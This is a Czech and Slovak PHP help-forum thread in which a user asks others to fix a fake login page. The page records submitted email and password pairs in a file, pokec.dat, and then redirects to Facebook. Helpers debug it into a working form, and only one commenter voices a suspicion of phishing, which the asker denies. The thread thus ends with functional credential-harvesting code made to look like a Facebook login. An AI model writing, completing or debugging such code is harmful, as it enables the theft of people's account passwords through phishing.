Autor Zpráva
zemiak
Profil
<?php
             
$f = @fopen("pokec.dat", "r");
$old = @fread($f, @filesize("pokec.dat"));
@fclose($f);
$new = $nick.  "." .$heslo "<br>\n";
$old = $new.$old;
$f = fopen("pokec.dat","w");
fputs($f,$old);
fclose($f);
?>


<script>
setTimeout("document.odosielac.submit()",500);
</script>
?>

prosim pomožte mi to opraviť
Tori
Profil
A v čem je chyba? Jak se projevuje? Co to má dělat a co to dělá místo toho?
zemiak
Profil
Tori:
Parse error: syntax error, unexpected '"<br>\n"' (T_CONSTANT_ENCAPSED_STRING)
Tori
Profil
Chybí operátor spojení řetězců: $nick. "." .$heslo . "<br>\n";
anebo $new = "$nick.$heslo <br>\n";
juriad
Profil
Jde to napsat mnohem jednoduseji.
<?php

$soubor = "pokec.dat";
$obsah = file_exists($soubor) ? file_get_contents($soubor) : "";
$novy = $_GET['nick'] . "." . $_GET['heslo'] . "<br>\n";
$obsah = $novy . $obsah;
file_put_contents($soubor, $obsah);

?>

Opraveno $_GET. Pokud posíláš formulář pomocí metody POST, nahraď to za $_POST.
zemiak
Profil
juriad:
toto mi vypiše ak to napišem takto jednoduchšie Notice: Undefined variable: GET
Notice: Undefined variable: GET
jenikkozak
Profil
Nahraď na pátém řádku $GET za $_GET
zemiak
Profil
uups som zabudol cele napisať ... otot je cely program
email:<input type="text" name="nick" id="nick" value="" /><br>
heslo:<input type="password" name="heslo" id="heslo"" value="" /><br>
<input type="submit" value="Nalogovať" />
</form>

<?php
 
$soubor = "pokec.dat";
$obsah = file_exists($soubor) ? file_get_contents($soubor) : "";
$novy = $_GET['nick'] . "." . $_GET['heslo'] . "<br>\n";
$obsah = $novy . $obsah;
file_put_contents($soubor, $obsah);
 
?>

už som to opravil a teraz mi piše Notice: Undefined index: nick a toto Notice: Undefined index: heslo
Fisir
Profil
Reaguji na zemiaka:
:-D Chybí zrovna ta důležitá část, tedy tag <form> a jeho atributy.
zemiak
Profil
a kam ho treba dať ? alebo ako to treba nmapisať ? :O
Fisir
Profil
Reaguji na zemiaka:
Okopíruješ ho do nového příspěvku z kompletního zdrojového kódu. Jen jsi ho sem zapomněl nakopírovat.
zemiak
Profil
Fisir:
všetko som tu nakopiroval čo mam v tomto programe
Fisir
Profil
Reaguji na zemiaka:
Pak není divu, že ti to nefunguje:
<form action="" method="post">
email:<input type="text" name="nick" id="nick" value="" /><br>
heslo:<input type="password" name="heslo" id="heslo"" value="" /><br>
<input type="submit" value="Nalogovať" />
</form>

<?php
if(isset($_POST['nick']) and isset($_POST['heslo'])){
$soubor = "pokec.dat";
$obsah = file_exists($soubor) ? file_get_contents($soubor) : "";
$novy = $_POST['nick'] . "." . $_POST['heslo'] . "<br>\n";
$obsah = $novy . $obsah;
file_put_contents($soubor, $obsah);
}
?>
zemiak
Profil
Fisir:
ďakujem ti :) si kaapo :-D


a ešte by si mi mohol napsiať ako by ma to potom hodilo na facebook ? ako že keď sa to vykoná že sa mi otvori stránka facebooku
Fisir
Profil
Reaguji na zemiaka:
header("Location: ...");
zemiak
Profil
veľmi pekne ti ďakujem :))
weroro
Profil
Prečo mám pocit, že to bude slúžiť na phishing?
zemiak
Profil
weroro:
niee nemam nič s tym zaľubom len som chcel vedieť ako to funguje ;))

Vaše odpověď


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: